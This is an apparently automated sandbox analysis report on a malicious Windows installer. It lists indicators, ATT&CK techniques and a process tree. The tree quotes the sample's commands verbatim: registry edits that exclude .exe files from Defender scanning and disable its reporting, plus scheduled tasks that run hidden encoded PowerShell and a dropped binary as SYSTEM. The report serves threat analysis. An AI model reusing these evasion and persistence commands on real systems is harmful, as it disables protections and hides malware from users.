395b6a08c66ac5c26db8a19461fa440e09dd730c46e3b2d62f4d78b1eabdd82b

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	Install.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bPrDBHUsiCyMJfmTfV.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1396	schtasks.exe
4984	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3912	powershell.EXE
3912	powershell.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3912	powershell.EXE

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 4604 wrote to memory of 2216	4604	395b6a08c66ac5c26db8a19461fa440e09dd730c46e3b2d62f4d78b1eabdd82b.exe	82
PID 4604 wrote to memory of 2216	4604	395b6a08c66ac5c26db8a19461fa440e09dd730c46e3b2d62f4d78b1eabdd82b.exe	82
PID 4604 wrote to memory of 2216	4604	395b6a08c66ac5c26db8a19461fa440e09dd730c46e3b2d62f4d78b1eabdd82b.exe	82
PID 2216 wrote to memory of 632	2216	Install.exe	84
PID 2216 wrote to memory of 632	2216	Install.exe	84
PID 2216 wrote to memory of 632	2216	Install.exe	84
PID 632 wrote to memory of 4664	632	Install.exe	88
PID 632 wrote to memory of 4664	632	Install.exe	88
PID 632 wrote to memory of 4664	632	Install.exe	88
PID 632 wrote to memory of 4092	632	Install.exe	90
PID 632 wrote to memory of 4092	632	Install.exe	90
PID 632 wrote to memory of 4092	632	Install.exe	90
PID 4092 wrote to memory of 3060	4092	forfiles.exe	92
PID 4092 wrote to memory of 3060	4092	forfiles.exe	92
PID 4092 wrote to memory of 3060	4092	forfiles.exe	92
PID 4664 wrote to memory of 3924	4664	forfiles.exe	93
PID 4664 wrote to memory of 3924	4664	forfiles.exe	93
PID 4664 wrote to memory of 3924	4664	forfiles.exe	93
PID 3924 wrote to memory of 4272	3924	cmd.exe	94
PID 3924 wrote to memory of 4272	3924	cmd.exe	94
PID 3924 wrote to memory of 4272	3924	cmd.exe	94
PID 3060 wrote to memory of 4004	3060	cmd.exe	95
PID 3060 wrote to memory of 4004	3060	cmd.exe	95
PID 3060 wrote to memory of 4004	3060	cmd.exe	95
PID 3924 wrote to memory of 3668	3924	cmd.exe	97
PID 3924 wrote to memory of 3668	3924	cmd.exe	97
PID 3924 wrote to memory of 3668	3924	cmd.exe	97
PID 3060 wrote to memory of 2424	3060	cmd.exe	96
PID 3060 wrote to memory of 2424	3060	cmd.exe	96
PID 3060 wrote to memory of 2424	3060	cmd.exe	96
PID 632 wrote to memory of 1396	632	Install.exe	98
PID 632 wrote to memory of 1396	632	Install.exe	98
PID 632 wrote to memory of 1396	632	Install.exe	98
PID 632 wrote to memory of 3148	632	Install.exe	101
PID 632 wrote to memory of 3148	632	Install.exe	101
PID 632 wrote to memory of 3148	632	Install.exe	101
PID 3912 wrote to memory of 4536	3912	powershell.EXE	109
PID 3912 wrote to memory of 4536	3912	powershell.EXE	109
PID 632 wrote to memory of 4868	632	Install.exe	115
PID 632 wrote to memory of 4868	632	Install.exe	115
PID 632 wrote to memory of 4868	632	Install.exe	115
PID 632 wrote to memory of 4984	632	Install.exe	117
PID 632 wrote to memory of 4984	632	Install.exe	117
PID 632 wrote to memory of 4984	632	Install.exe	117

C:\Users\Admin\AppData\Local\Temp\395b6a08c66ac5c26db8a19461fa440e09dd730c46e3b2d62f4d78b1eabdd82b.exe
"C:\Users\Admin\AppData\Local\Temp\395b6a08c66ac5c26db8a19461fa440e09dd730c46e3b2d62f4d78b1eabdd82b.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4604
- C:\Users\Admin\AppData\Local\Temp\7zS1C61.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Users\Admin\AppData\Local\Temp\7zS278D.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks computer location settings
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:632
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4664
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3924
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:4272
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:3668
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4092
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3060
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:4004
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:2424
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gvYGaiYvB" /SC once /ST 05:44:47 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1396
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gvYGaiYvB"
      4⤵
      PID:3148
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gvYGaiYvB"
      4⤵
      PID:4868
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bPrDBHUsiCyMJfmTfV" /SC once /ST 13:59:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\fzbxnmJSHxNFgkceO\ZSmEqdhFiOLcuAl\aWXJOpz.exe\" cZ /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:4984

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3912
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:4536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3736

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2060

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery